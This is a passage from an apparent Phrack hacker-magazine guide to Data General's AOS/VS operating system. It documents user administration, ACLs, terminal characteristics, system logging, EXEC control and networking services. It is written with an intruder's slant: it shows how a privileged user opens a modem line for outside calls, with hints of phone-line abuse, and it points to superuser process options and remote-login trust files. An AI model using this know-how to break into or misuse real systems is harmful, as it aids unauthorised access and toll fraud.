Legal commands for the PREDITOR are Create, Delete, Edit, List, Question, Rename, and Use. They can all be abbreviated to their first letter. When CREATE is called, it first asks if you want to set the password, and depending on the answer asks you to enter a password. It then queries about the other fields, giving you three options (usually): YES, NO, and NL, the system's default. DELETE just asks for a confirmation on deleting the user, and also his home directory. EDIT is just like CREATE, allowing you to modify any field in the user's profile (including the password). LIST lists the status of every field in the profile (by using a template profile, such as '+', one could view every user on the system). QUESTION sets the system defaults, which will later be used by CREATE and EDIT. RENAME allows you to rename a user to another name, and USE changes the value in the !DEFAULT variable (your username).

Logins are handled by a program called EXEC (that's what the EXEC-32 x.xx.xx.xx part in the login message means). EXEC just reads the username/password and if correct, logs the user in. After EXEC has been completed, the Initial Program from the profile is run. The commands for logins are CONTROL @EXEC DISABLE and ENABLE. See "The 'EXEC' Program" for more information about EXEC.

When using ENABLE, the console receives login capabilities; apart from actually logging in, EXEC will also display :UTIL:LOGON.BANNER.SCREEN.

ENABLE

/ALL	Gives all the consoles the said capabilities.
/TRIES=x	Sets maximum login tries to x.
/STOP	This will have the same result as if an operator issued CONTROL @EXEC DISABLE <console> after the maximum login tries was exceeded.
/CONTINUE	Lock console for 10 seconds and then continue.
/FORCE	Change the other parameters while the console is enabled.

SYSTEM COMMANDS

Every command has its own switches. However, all commands accept the /1, /2, /L and /Q switches (and /STR=string and /ESTR=string under /CLI32).

/1=ERROR|ABORT|IGNORE|WARNING
/2=WARNING|ERROR|ABORT|IGNORE

Controls what the program will do under a class 1 or 2 error. The first option listed is the default. ERROR displays "Error: something" and stops command execution. ABORT aborts the command. IGNORE ignores the error, and WARNING displays "Warning: something" and continues with the command.

/L=path	The command will store all its output in 'path'.
/Q	Display output in columns with on space separating them (an exception to this switch is TYPE).

/STR=string
/ESTR=string

The command will store its output in the 'string' string variable, which can be viewed later using the STRING command. If there is no output or the command is TYPE or COPY the string is set to null. /ESTR is for error output, /STR is for regular output.

Some important AOS/VS commands are listed next. I included information about the DUMP and LOAD commands for information purposes only; as they require diskettes, I don't think you'll use them daily. However, I didn't go into diskette handling, etc in detail.

Sorted alphabetically:

ACL <path>

ACL is a utility to control the ACL (Access Control List). An ACL is just what is sounds like: it includes a list of usernames and what kind of access they have to the file. ACL used one-letter access code, as follows.

LETTER	TYPE/FILE	TYPE/DIR
A(ppend)	Append to a file.	Create files in the directory or move files into it.
E(xecute)	Execute the program.	Allows access to the directory (changing into it, reading, etc).
O(wner)	Allows the user to change the ACL or erase the file/dir.	
R(ead)	Read a file.	List the files in the directory.
W(rite)	Write to a file.	Create, delete or change ACLs of files in the directory.

The default ACL for any file is OWARE for the user.

ACL <path> shows the ACL. To modify the ACL:

ACL <path> [user,access] [...]

Access being one of the OWARE group, for example:

ACL PHRACK43 HBT,OWARE (There is NO space between 'username' and 'access'!)

ACL PHRACK42 HBT,OWARE +,R (In this example, the '+' template was used, '+' standing for all the users. This means that HBT has full access to the file, while the rest of the users can only read it. If templates are used, they should be used last, with specific usernames before them.)

Under CLI32 group access is also available in the format of:

ACL <path> [user:group,access] [...]

Switches:

/[BEFORE|AFTER]/[TCR|TLA|TLM]=date and/or time

/TYPE=type	These function just like the same switches in FILESTATUS.
/D	Use the default settings (OWARE). Defaults may be changed using DEFCAL.
/K	Delete ACL - no one but a superuser will be able to access the file.
/V	Show each file changed.

BROWSE

BROWSE is a program to browse (view, search, scroll in any direction) through any number of ASCII or binary files. While in BROWSE help is available by using 'H' or '?'. BROWSE starts at the end of file and lets you move backward (but you can change this).

No further details are included since BROWSE can run only on CRT terminals (the actual terminals the employees usually sit at), and I didn't have the pleasure of using one of these (nor do I think will the information be of any use).

CHARACTERISTICS

CHARACTERISTICS displays or sets the characteristics of a device attached to a terminal (not a printer, for example). To change characteristics of a device permanently and not just for the current CLI level, you must be PID 2 (local console) or have SYSTEMMANAGER privilege on. To this, you must use EXEC first to DISABLE the device, use CHARACTERISTICS, and then use EXEC to ENABLE the device (see the section titled "The 'EXEC' Program"). The CHARACTERISTICS switch will be /DEFAULT/[default device characteristics] device. "device" for example, is @CON100.

CHARACTERISTICS switches look like this:
CHARACTERISTICS /[ON|OFF]/SWITCH. It's self explanatory.

/8BT	Interpret all 8 bits of an ASCII char as data. (For use with 8 bit character sets, of course.)
/16B	For Asian language translation.
/4010I	Device is a DG model 4010I terminal.
/6012	Device is a DG model 6012 terminal.
/605X	Device is a DG DASHER model 6052, 6053, D210 or D211 terminal.
/6130	Device is a DG DASHER model 6130, D410 or D460 terminal.
/ACC	Line requires modem access control (only users with the Use Modem privilege may login).
/AUTOBAUD	The system will automatically determine the terminal's baud (it's bps, damnit!) rate.
/BAUD=b	Sets a device's bps rate to b. b can be 45.5, 50, 75, 110, 134.5, 150, 300, 600, 1200, 1800, 2400, 3600, 4800, 7200,

```
          9600, 19200, 38400.

/BREAK=[BMOB|CAOB|CBOB|CFOB|DCOB]

          How the system will respond to a BREAK:
          BMOB (default) Clears binary mode and restore normal character
                         handling
          CAOB           Issues Ctrl-C Ctrl-A
          CBOB           Issues Ctrl-C Ctrl-B
          CFOB           Issues Ctrl-C Ctrl-F
          DCOB           Disconnect user

/CALLOUT  Allow host initiated calls (outside calls).

/CHARLEN=[5|6|7|8]

          Character length in bits, *including* stop bit.

/CONTYPE=connection type

          Connection types are:
          BITMAPPED      Windowing terminal
          DIRECT         Standard connection
          PAD            From PAD hardware
          PBX            From a PBX controller
          PCVT           From a DG/PC*i controller
          TERMSERVER     From terminal server hardware
          TELNET         Through telnet
          VIRTUAL        Through a virtual terminal

/CPL=[8-255]

          The maximum number of characters per line.

/CTD      Disconnect line if the user doesn't respond to login after a
          while.

/DEFAULT  Displays the default characteristics of the terminal.

/DKHW     If OFF, and /16B and /8BT are on, enable support for Chinese
          characters.

/EB0      Specify the echoing of control characters.
/EB1      When both off, nothing is echoed.
          When EB0 is on and EB1 is off, echos ^char.
          When EB0 is off, and EB1 is on, echos exactly what was entered.

/EOL      Don't output a newline if the number of characters in input
          has exceeded the line length.

/ESC      Interpret an escape as a Ctrl-C Ctrl-A interrupt.

/FF       Output a formfeed when the device opens.

/G1G0     Enables the G1G0 character set (Taiwanese characters).  /16B
          and /8BT must also be ON.

/HARDCOPY Device is a printing terminal.

/HDPX     Provide half duplex support for a modem line.

/HIFC     Use CTS/RTS input flow control, cannot be on if /HDPX or /MOD are
          on.

/HOFC     Use CTS/RTS output flow control.

/IFC      Enables XON/XOFF to control terminal input (the Ctrl-S/Ctrl-Q
          control characters).

/LEVEL=x  Sets characteristics to the same as those in CLI level #x.
```

/LPP=[4-255]	The number of lines per page.
/MDUA	Allows direct access to the modem on the line (/MOD must also be set). You can then use ?WRITE to send commands to the modem. See the section titled "CLI Macro Programming".
/MOD	Use modem interface on this line.
/MRI	Monitor line for rings.
/NAS	Device is non ANSI standard.
/NLX	Enable Asian natural language translation. /16B and /8BT must also be ON.
/NRM	Suppress messages (from SEND) not sent from PID 2 (something like "mesg n" in Unix).
/OFC	XON/XOFF output flow control.
/OTT	Convert characters sequence "~}" to an escape (use with VT100 emulation, or how will you escape).
/P	Sets the characteristics to be the same as those used on the previous CLI level.
/PARITY=[ODD|EVEN|NONE]	Default is NONE.
/PM	Enable page mode, which pauses output every LPP lines (as set with the /LPP switch, default is 24). Ctrl-Q resumes.
/RESET	Reset characteristics to the default value.
/RTSCD	Check carrier detect before processing RTS signals. /HDPX must be ON.
/SFF	Simulate formfeeds.
/SMCD	Ignore carrier detect on modem lines. /MOD and must be ON, and this must be set if /HPDX is ON.
/ST	Simulate a tab every 8 columns.
/STOPBITS=[1|1.5|2]	
/TCC=[time to wait for a carrier detect signal after the modem connect]	Default is 40000 ms.
/TCD=[time to wait for a carrier detect signal to return after it drops]	Default is 5000 ms.
/TDW=[delay between modem connect and the first I/O]	Default is 2000 ms.
/THC=[the amount of time after disconnecting for the modem to settle]	Default is 10000 ms.
/TLT=[time to wait between sending the last char and dropping RTS]	Default is 0 ms. /HPDX must be ON.

/TO	Enable timeouts.
/UCO	Convert lowercase input to uppercase when displaying it.
/ULC	Accept both uppercase and lowercase as input.
/WRP	Wrap on a long line.
/XLT	Enable VT100 terminal emulation.

Knowledge is knowledge, but AT&T is something different. Here is how you'd open a modem line for calling out: (You must be SYSTEMMANAGER)

```
CLEARDEVICE/RXON @CON999
CONTROL @EXEC DISABLE @CON999
CHARACTERISTICS/ON/MOD/MDUA/CTD/CALLOUT @CON999
CONTROL @EXEC ENABLE @CON999
((And here's how you put it back))
CLEARDEVICE/RXON @CON999
CONTROL @EXEC DISABLE @CON999
CHARACTERISTICS/DEF @CON999
CONTROL @EXEC ENABLE @CON999
```

CLEARDEVICE <device>

You must be PID 2 (local console) or have SYSTEMMANAGER privileges turned on to use CLEARDEVICE on a terminal that isn't yours. <device> must be a terminal line (eg, @CON100).

/RXON	Simulates a XON character from the device.
/SBREAK	Sends a break character to the device.

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 15 of 27

()

A Guide to Data General Corporation's
AOS/VS System
PART II

by Herd Beast

CONINFO [console]

CONINFO shows information about a console to the user. Without an argument, it gives the user information about his console. With a parameter, and if the user has SYSTEMMANAGER privilege turned on, it gives information about the console specified as argument. The information gives changes depending as to how the console is connected:

CONNECTION	INFORMATION
ITC/LTC over TCP/IP	Device code, engine number, line number, IP address, port number.
ITC/LTC over XNS	Device code, engine number, line number, CS/200 ethernet address.
((No remote address if no connection exists (on both of them).))	
ITC/PVC	Device code, engine number, engine address, line number, line address OR an ASCII string if the PVC type is NAME.
Telnet	Line number, IP address, port. Only line number if there's no current connection.
IACs	Device code, engine number, line number, modem flag.
Duarts	Device code, engine number, line number, CON0 flag.
TTI/TTO Opcon	Device code, engine number, line number, CON0 flag.

CREATE <pathname>

CREATE creates a file (TXT or UDF). CREATE/LINK creates file links.

/DATASENSITIVE

Creates a file with a data sensitive record format.

/DIRECTORY

Creates a directory.

/DYNAMIC

Creates a file with a dynamic record format.

/ELEMENTSIZE=x

Sets the minimum amount of space by which a file can grow in 512 byte blocks.

/FIXED=x

Creates a file with a fixed length record format, with a length of x.

/HASHFRAMESIZE=x

Sets the unit into which the system divides the directory for file access to x. The default is 7. The best formula for this is: the nearest prime number (up to 157, the maximum) of the number of files / 20.

/I

Inserts typed text at @INPUT as the contents of the file. The input ends when a single ')' followed by a Return is typed.

/INDEXLEVELS=x

Sets the maximum number of data elements the file can hold to x.

/LINK

Creates a linked file to the second argument. For example, to link MODEM.CLI with :UTIL:NET:MODEM.CLI, use CREATE/LINK MODEM.CLI :UTIL:NET:MODEM.CLI.

/M

Takes the contents of the file from a macro that follows. The input ends when a single ')' followed by a Return is typed.

/MAXSIZE=x

Creates a control point directory of x*512 bytes (a disk block).

/TYPE=t

Creates a file of type t. Where t is either the right decimal number or the right 3 letter mnemonic (see the section titled "System Structure").

/VARIABLE

Creates a file with variable record formats.

DELETE <file>

Deletes file. The opposite of CREATE.

DUMP <file> [path]

DUMP dumps file from the current directory to a file. Such files can be a diskette or a magnetic tape. [path] is the template for the files to dump -- if it doesn't exist, everything will be dumped. DUMP isn't compatible with Unix; AOS/VS has a TAR command for dumping file for use in Unix.

/[AFTER|BEFORE]/[TLA|TLM|TCR]=date and/or time

/TYPE=[\]type

These switches works just like the one in FILESTATUS.

/BUFFERSIZE=x

Sets the buffer to x (x is a multiply of 1024). x is given in bytes, but if specified as xK it reads a kilobytes (1 kilobyte is 1024 bytes). The larger the buffer, the more data fits on the tape.

/DENSITY=[800|1600|6250|ADM|LOW|MEDIUM|HIGH]

The numbers are for bits per inch. ADM means Automatic Density Matching. If one of the other values is used, there’s a possibility that it won’t fit in another tape unit (unit X’s LOW value isn’t the same as unit Y’s).

/FLAT

Eliminates the directory structure. Otherwise, DUMP keeps the directory tree when dumping.

/IBM

Writes to a tape that an IBM format label, created using LABEL/I.

/L[=pathname]

Lists filenames dumped in pathname, or in @LIST. (See the command after LOAD, ’LISTFILE’).

/NACL Don’t dump ACLs, so that when reloading, the default ACL will be created.

/RETAIN=x

Sets the retention period. The dumpfile cannot be overwritten until x days have passed.

/SEQUENTIAL

Will not rewind the tape after completing the dump.

/V Verify the dump by listing the dumped files.

FED

FED (moohaha), is a program, not a CLI command. FED stands for File Editor Utility, and it lets you examine locations in disk files and modify them. FED is run as XEQ FED [path]. The FED inner prompt is ’_’.

FED has internal keywords. They are run by using ESC <keyword> (if you can’t use escape, try setting CHAR/ON/XLT/OTT and use "~}").

To understand FED well, you must be familiar with the DEBUG command and some Assembly, which seems to me is beyond the scope of this file. So if you do know what you’re doing, look DEBUG up.

C	Run a CLI under FED.
DIS	Change display mode
G	Examine/modify ring register
H	Help
I	Define/list temporary symbols
J	Delete temporary symbols
M	Examine/modify input radix

MEM	Examine/modify file locations
S	Search disk locations
T	Examine/modify display mode
X	Enable/disable symbol table
Y	Enable/disable logging to a file
Z	Exit FED
?	Display verbose error messages

/I=file Use the commands in filename for the editing session.

/L=file Save all FED commands/responses to file.

/S=file Use file as the symbol table file.

/N Don’t use a symbol table file.

/P Treat the disk file as a program file.

/R Open for read-only.

/U Treat the disk data as a user data file.

/X Treat the disk file as an OS file.

LOAD <file> [path]

LOAD restores files that were dumped. If LOAD is invoked from CLI32, a macro calls the DUMP_II program, which is a more advanced version of DUMP. If [path] is omitted, the entire dumpfile is loaded into the current directory (with its directory tree).

/[AFTER|BEFORE]/[TLA|TLM|TCR]=date and/or time

/TYPE=[\]type

These switches function the same as in FILESTATUS.

/BUFFERSIZE=x

/DENSITY=density was already set with DUMP, use ADM if at all

/FLAT

/IBM

/L[=path]

/NACL

/SEQUENTIAL

/V

These switches function the same as in DUMP, only in the reverse direction (for example, /NACL won’t load the dumpfile’s ACL and create new default -- username,OWARE -- ACLs.

/DELETE

Delete any existing file with matching name.

/N Don’t load, just list files in dumpfile.

/Q Squeeze console messages and file lists (don’t use tabs and more than one space).

LISTFILE [path]

LISTFILE sets the @LIST file (see the section titled "System Structure" for details). In short, program uses the generic file name @LIST, it will use the files specified through LISTFILE instead.

/G	Sets the LISTFILE to the generic @LIST.
/K	Sets the LISTFILE to null.
/LEVEL=x	Sets the LISTFILE to that of level number x LISTFILE.
/P	Sets the LISTFILE to the previous environment setting.

PASSWORD

Only exists with CLI32.

(For more information, see the section titled "System Structure").

/CHANGE Change the current CLI password.

/PROMPT
/NOPROMPT

> If /PROMPT, the user will have to enter his password when using LOCK (so he can't LOCK the console without a password). Otherwise, automatically locks the console when LOCK is executed.

/READ=path
/WRITE=path

> /WRITE Encrypts the CLI password and writes it to the file [path]. When /READ is issued, the encrypted password is read from the file. When a password check needs to be done, the password entered is encrypted and the encrypted forms are compared. This way, a "PASSWORD/READ=PWD" in the LOGON file can set the CLI password automatically at logon.

I am not sure of the way that the password in encrypted when being saved with /WRITE. Nor, for that matter, do I have any more information about the way the login passwords are encrypted in the profiles (when and if they are).

Beware of situation where PWD, for example, has the string "qwerty" in it, and you type PASSWORD/READ=qwerty. If you use LOCK, the terminal is locked forever, since "qwerty" is assumed to be the encrypted form.

PROCESS <path>

Creates a son process to run the program in <path>. <path> is assumed to end with .PR, and only then to be just <path>.

/ACCESSDEVICES

> Allows the process to define and access I/O devices. Requires the Access Devices privilege as defined in the profile.

/BLOCK

> Blocks the father CLI until the process terminates. If the CLI isn't blocked, you can use CHECKTERMS to display the process' termination message when it terminates.

/BREAK

Creates a break file (.BRK) if the process has an error or terminates because of one. If EXEC is TERMINATEd instead of HALTed using the HALT 'EXEC' command, it will create a .BRK file.

/BSON

Blocks the son process until freed with UNBLOCK.

/CHLOGICALTYPE

Allows the process to change its logical type (16 bit or 32 bit). Requires the Change Logical Type privilege, which, as mentioned in "System Security" is usually on.

/CHPRIORITY

Allows the process to change its priority. Requires Change Priority privilege.

/CHTYPE

Allows the process to create any other type of process and change its own process type. Requires Change Type privilege.

/CHUSERNAME

Allows the process to create a new process with a different username than its own. Requires Change Username privilege.

/CHWSS

Allows the process to change its working set size. Requires Change Working Setsize privilege.

/CONSOLE[=console]

Makes the new process' console the same as that of the father's console, or [console].

/CPU=x Limits CPU time for x seconds.

/DACL Don't pass default ACL to the son process.

/DATA[=path]

Make the son's @DATA file the same as the father's, or [path].

/DEBUG Starts the son process in the debugger.

/DEFAULT Gives the son process the same privileges as the father's.

/DIRECTORY=path

Make path the initial directory for the son process.

/DUMP Appends a dump to the breakfile data.

/INPUT[=path]

Makes the son's @INPUT file the same as the father's, or [path].

/IOC

Makes the son's @INPUT, @OUTPUT AND @CONSOLE the same as does of the father.

/LIST=[path]

Makes the son's @LIST file the same as the father's, or [path].

/MEMORY=x Sets the son's process maximum memory size in 2kb pages.

/NAME=name

Assign name to the son process. Now it can accessed both by PID and by name.

/OUTPUT=path

Makes the son's @OUTPUT file to be path.

/PRIORITY=x

Gives the process a priority of 1-511 (highest-lowest).

/PREEMTIBLE
/RESIDENT

Makes the son process pre-emtible or resident. The default is swappable.

/SONS[=x]

Allows the son to create one less son process than the father, or x.

/STRING

Stores the termination message in the CLI string.

/SUPERPROCESS
/SUPERUSER

Allows the son process to enter the appropriate SUPER mode.

/UNLIMITEDSONS

Allows the son process to create unlimited amount of sons.

SED [path]

SED is a program and not a CLI command and therefore run as XEQ SED ... [path] is the file to be edited. The SED inner prompt is '*'.

SED is a text editor for creating and modifying files. SED's help facility is accessible by typing HELP from SED:

```
ESCAPES   ADD TEXT   CHANGE TEXT   DELETE TEXT   LISTINGS   POSITIONING
-------   --------   -----------   -----------   --------   -----------
EXECUTE   APPEND      MODIFY        DELETE        LIST       POSITION
HELP      INSERT      REPLACE       MOVE          VIEW       FIND
SAVE      DUPLICATE   SUBSTITUTE    JOIN          PRINT
          UNDO        SPLIT
                      CUT
                      PASTE

EXITING   MISC             HELP WORDS
-------   ----             -----------------------
ABANDON   CLEAR            CURSOR_CONTROL ADDRESS
BYE       DIRECTORY        RANGE          SOURCE
CLI       DISPLAY          SEARCH_STRING  DESTINATION
DO        SET              KEYS           SYNTAX
          SPELL            SWITCHES
```

SED’s line editing keys are:

Ctrl-A	Move to end of line.
Ctrl-B	Move to end of last word.
Ctrl-E	Toggle insert mode.
Ctrl-F	Move to start of next word.
Ctrl-H	Move to beginning of line.
Ctrl-I	A tab.
Ctrl-K	Erase everything right of cursor (like in EMACS).
Ctrl-X	Move on character to the right.
Ctrl-Y	Move on character to the left.
Ctrl-U	Delete entire line.

The commands are mostly self explanatory, but the format is something like this. Suppose you want to modify line #12, you’d write MODIFY 12, which will put you on line 12. Use the control keys to move about and edit the line, then press Return! If you don’t press return but just escape back to the SED prompt, your changes will be lost!

The same goes for most commands, if you need help, just type HELP COMMAND from the SED ’*’ prompt.

/ED=dir	Finds the SED .ED files in dir.
/NO_ED	Don’t use .ED files.
/NO_FORM_FEEDS	Strip form feeds from the file.
/NO_RECREATE	Don’t reset the date of the file after changing it.
/NO_SCREEN	Don’t update the console automatically.
/PROFILE=path	path is the SED startup file, that contains legal SED commands.
/WORK=dir	Use this directory for SED temporary files.

SEND <pid> <message>

Sends sends <message> to a user, based on the user’s PID. Users’ PIDs are displayed when typing WHOS. For example, SEND 2 FU I’M A HACKER.

STRING [arg]

Without an argument, STRING displays the contents of the CLI’s string.
Displayed strings have commas inserted in them instead of spaces.
If an argument is present, the string is set to it.

/K	Set string to null.
/P	Set string to the the string in the previous environment (each CLI level can have a different string).

SYSLOG [log file name]

SYSLOG handles system logging activity; therefore, SYSLOG can only be run with PID 2 (the master console) or with SYSTEMMANAGER privileges turned on. "System logging" logs user information (processor usage, I/O usage) in :SYSLOG. System logging can be ran under several levels of detail, so that it may or may not record everything going on (like file accesses). "Superuser logging" are things caused by a superuser who will only be logged under the maximum detailed level; therefore, it’s possible to log them separately, and not record everything else everybody else does. "Error logging", which logs power failures, hard errors and such is always on and goes to :ERROR_LOG. Finally, there’s "CON0 logging", which logs all activities on the master console, in such a way, that if you view the CON0 log from CON0, the log will never end...

/CON0/[START|STOP] [filename]

Start or stop CON0 logging. The older CON0 log will be renamed into [filename], and a new log will be opened. Otherwise, the old log is appended to.

/DETAIL=[FULL|MINIMAL]

Sets (or changes) the level of detail when logging. The default is MINIMAL; FULL is mostly for security matters.

/NOSOFTTAPEERRORS
/SOFTTAPEERRORS

Don’t (or do) record soft tape errors.

/RENAMEERROR

Rename :ERROR_LOG to something else, and keep on logging to a new file.

/START [filename]
/STOP

Start (or stop) logging to :SYSLOG. If [filename] is given, rename :SYSLOG to it and keep on logging to a new file.

/SUPERUSER/[START|STOP]

Start (or stop) Superuser logging. System logging must already be running.

/VERBOSE Give a detailed status.

Here’s a system you wouldn’t want to be on:

```
SmSu) SYSLOG/START BEFORE_WE_WERE_HACKED
SmSu) SYSLOG/DETAIL=FULL
SmSu) SYSLOG/CON0=START
```

WHO [hostname:]

WHO shows information about processes. Without arguments, it shows your processes’ information. If WHOS is issued, information on all the processes is displayed. The output from WHO is similar to this:

```
Elapsed 109:21:22, CPU  0:00:35.828, I/O Blocks    0, Page Secs 22186
PID:     1 PMGR            PMGR            :PMGR.PR
```

>From left to right, WHO displayed the process ID; username; console; and program pathname.

WRITE [arg]

Displays [arg], by default to @OUTPUT. [arg] can also be a pseudo macro such as [!USERNAME].

/FILEID=file

Write [arg] to the file specified in file.

/FORCE

Forces the system to write immediately instead of periodically writing the files.

/NONEWLINE

Don’t include the newline in the output.

XEQ <path>

XEQ is identical to EXECUTE; it executes the program in path (how QT). The path should be to a file with a PR (PRogram) suffix, although it doesn’t have to include .PR.

/I	Takes input from @INPUT, eg from the user. To end the input, type ’)’ and Return.
/M	Takes input from a macro that follow. The input end the same way as with /I.
/S	Stores the termination message in a STRING instead of the terminal screen (@OUTPUT).

THE ’EXEC’ PROGRAM

EXEC does more than just log users on. EXEC is the program that handles the AOS/VS multiuser environment. If handles user logins, but also batch, print, and networking queues, printers, and tape mount requests.

To use any EXEC command, you must either have the username of the EXEC user (usually OP) or have SYSTEMMANAGER privileges on. Alternatively, if you have the right ACL (if you’re the owner) of the device you’re executing an EXEC command on, it will also work.

EXEC commands are issued in this manner: CONTROL @EXEC COMMAND. EXEC has its own help facility, called XHELP, which gives help only on EXEC commands.

These are the EXEC commands (alphabetically, once again):

ACCESS
ALIGN
ALLOCATE
BATCH_LIST
BATCH_OUTPUT
BINARY
BRIEF
CANCEL
CLOSE
CONSOLESTATUS
CONTINUE
CPL
CREATE
DEFAULTFORMS
DELETE
DISABLE
DISMOUNTED
ELONGATE
ENABLE
EVEN
FLUSH
FORMS
HALT
HEADERS
HOLD
LIMIT
LOGGING
LPP
MAPPER
MDUMP
MESSAGE
MODIFY
MOUNTSTATUS
OPEN
OPERATOR
PAUSE
PREMOUNT
PRIORITY
PROMPTS
PURGE
QPRIORITY
REFUSED
RELEASE
RESTART
SILENCE
SPOOLSTATUS
START
STATUS
STOP
TERMINATE
TRAILERS
UNHOLD
UNITSTATUS
UNLIMIT
UNSILENCE
VERBOSE

ACCESS Change the ACL of files in the :PER directory. If some has OWNER access to a device or queue, he can issue an

EXEC CONTROL command to it. If he had READ or WRITE access to a queue, he can display it or add jobs to it, accordingly. The default ACL is +,RW (READ/WRITE access for all users). The :PER directory contains devices (such as consoles, printers, etc) and queue jobs.

ALIGN	Tells the printer handler to stop printing (giving the operator a chance to align the paper).
ALLOCATE	Restore a tape unit to EXEC's list of mountable tape unit (will show on UNITSTATUS).
BATCH_LIST	Change the print queue to which a batch's listings go.
BATCH_OUTPUT	Change the print queue to which a batch's output go.
BINARY	Tells the printer handler to set or disable BINARY mode. When in binary mode, passes everything sent to the printer as-is. When binary mode is off, the printing handler catches characters and changes them so they'll have a meaning on the device. Binary mode is necessary when using a graphics printer, for example.
BRIEF	Opposite of VERBOSE.
CANCEL	Cancels a waiting queue entry.
CLOSE	Prevents a queue from accepting more requests.
CONSOLESTATUS	Displays the status of an EXEC-handled EXEC. Displays the console's name, maximum number of login tries allowed, the PID, and which user is logged on (if at all).
CONTINUE	Continue a device after changes (for example, running START) have been made to it.
CPL	Changes the number of characters per page for a device.
CREATE	Create a queue.
DEFAULTFORMS	Where the default formatting specs are.
DELETE	Delete a queue.
DISABLE	The opposite of ENABLE.
DISMOUNTED	Dismount a tape mounted with CONTROL @EXEC MOUNT.
ELONGATE	Turns elongated printing on a DASHER LP2 printer on or off. When printing in elongated printing, the characters are wide.
ENABLE	For more information, see the section titled "System Security".
EVEN	Sets the status of pagination on a printer. When on, all files are printed as if they have an even number of pages, for cosmetic reasons (all header pages come on the same fold of paper [yes, it sounds disgusting]).
FLUSH	Terminate the currently running job on a device or queue.
FORMS	Use the formatting specs in a filename for a certain printer.
HALT	Terminate EXEC.
HEADERS	Change number of headers printed when printing (default is 1).

HOLD	Suspends a batch or printer queue until UNHOLD is issued.
LIMIT	Enforces limits on CPU processor time or number of printed pages on devices or queues.
LOGGING	Where to send error and status messages instead of CON0, the system console.
LPP	Sets the number of lines per page when printing.
MAPPER	Tells the printing handler to use character mapping as defined in a given filename.
MDUMP	Suspend all other EXEC activities to create a memory dump in the :UTIL directory.
MESSAGE	Append a message to EXEC’s log.
MODIFY	Modifies the parameters of an inactive queue entry.
MOUNTSTATUS	Displays the status of all user mount requests.
OPEN	Opens a queue to receive user requests.
OPERATOR	Whether or not there’s an operator available to help with diskette dumps (remember what the OPERATOR privilege is used for; not everyone has it).
PAUSE	Suspends processing of a queue or on a device.
PREMOUNT	Mount a labeled tape volume even before a user request it be mount (and thus the operator doesn’t get prompted when users try to mount it; they immediately get access).
PRIORITY	Changes the priority and/or process type for batches or printing processes.
PROMPTS	Whether EXEC will display the time after each command.
PURGE	Delete all inactive entries in a queue.
QPRIORITY	Limit a batch or device to only job with a certain queue priority (or in a range of priorities).
REFUSED	Refuse a MOUNT request.
RELEASE	Remove a tape unit from the list of mountable unit (it won’t be displayed with CONTROL @EXEC UNITSTATUS.
RESTART	Restart a job, and if printer job, can specify from which page until which page to print.
SILENCE	Suppresses EXEC messages about a device or a batch.
SPOOLSTATUS	Give device and queue information. If no devices or queuenames are given, it reports each spooled device and the queue associated with it, CPL, LPP, headers, trailers, binary mode status, form specifications, priority and process type.
START	Make a connection between a queue and a device. Jobs for the queue will be run on the device. This is need for something like printing queues.
STATUS	Describes the status of devices or batches. It reports the sequence number, queue priority, user, and PID. For a printer, it also reports the number of pages left and number of copies left.

STOP	Dissociate a queue from a device.
TERMINATE	Terminate the user process on a console (disconnects user).
TRAILERS	Changed number of trailers printed when printing (default is 0).
UNHOLD	Release from HOLD.
UNITSTATUS	Displays mount status of a tape unit or all units if no devicename is specified.
UNLIMIT	Release from LIMIT.
UNSILENCE	Release from SILENCE.
VERBOSE	Give detailed messages. Brief messages include the queue's name, sequence number and user. Verbose messages also include the PID and pathname. Messages are sent when a device or a batch processes a request.

NETWORKING

AOS/VS is compatible with several networking protocols. The most widely known and used are X.25 and TCP/IP. There is also Data General's XODIAC network, as well as PCI networks and many others. In general, network services are run as process by the NETOP username (usually "OP"), and have programs for the users to execute. The NETOP process handles communications and report generating to the other networking processes. It has similar restrictions to that of the EXEC process (one must have its username to control it, and so on).

Before going into specifics, there are some general details about networks. Almost everything having to do with networking -- from hosts, to help files and programs, will be found in the :NET directory. Programs and macros will be in :NET:UTIL, and so on. The :PER directory, which contains devices, contains devices for the networking processes.

TCP/IP: The AOS/VS implementation of TCP/IP incorporates the usual TCP/IP programs: rlogin, rsh, telnet, ftp, smtp and so on. Because of the way most of these programs were built (with strong relationships to Unix), AOS/VS work in a similar way.

AOS/VS runs RSHD, for remote logging in, and supports individual .RHOST files as well as HOSTS.EQUIV files; TELNETD, for telnet sessions; FTPD, for ftp sessions; SNMPD, for network management; and SMTP, which is the same as activating the AOS/VS SENDMAIL with the become daemon switch, for receiving mail. There are also programs for remote printing and dumping of files on tapes, as well as NSLOOKUP and NETSTAT.

In the :ETC directory, there will be some general TCP/IP files, and in :USR:LIB there will be spool directories for mail and printing services. The files normally found in :ETC will usually match the format and function of their counterparts on Unix (for example, :ETC:HOSTS = /etc/hosts, and so on). However, some explaining is necessary.

The file :ETC:PASSWD does not contain any passwords. It exists for the use of the SENDMAIL program, for looking up local users on the machine. Thus if someone sends mail to a local user, mail will be sent only if that user has an entry in :ETC:PASSWD. An example file would be,

```
op::0:::/udd/op:
mail::8:::/usr/spool/mqueue:
```

:ETC:SNMPD.TRAP_COMMUNITIES contains a list of hosts, ports, and communities that the SNMPD process will send traps to (a SNMP trap is a message sent indicating a change of state).

:USR:LIB contains mail programs, such as SENDMAIL's aliases file, the SENDMAIL program itself, the SENDMAIL.CF (configuration file) and so on.

:USR:SPOOL contains spool directory, for printing (like LPD) and mail (MQUEUE).

The format for sending mail on AOS/VS using SMTP is just like on Unix, only the program name is SENDMAIL.

The AOS/VS TCP/IP installation usually comes with TCP libraries, such as SOCKIT.LB, which provides ordinary Unix socket functions, from bind(), connect(), and listen(), to gethostbyaddr(), getservbyport(), etc; making it possible to program and compile network applications using TCP/IP routines and the AOS C compiler.

For more information about these services, and network programming, read a file about TCP/IP and/or Unix.

AOS/VS NETWORK PROCESSES: Each network process usually comprises two other processes, one for local users, and one for remote users on the local host. RMA provides URMA and SRMA; FTA provides UFTA and SFTA, and so on. What does it mean? Simply, the S+ programs are "daemons" for the network actions, and the U+ programs are user executable programs. All the S+ programs are controlled through the NETOP process, while the user programs are executed as programs by individual users.

I will take some time to explain these programs and how they work. RMA stands for Resource Management Agent. FTA stands for File Transfer Agent, and VTA stands for Virtual Terminal Agent. The 'U' in the programs stands for "Using" and the 'S' for "Serving."

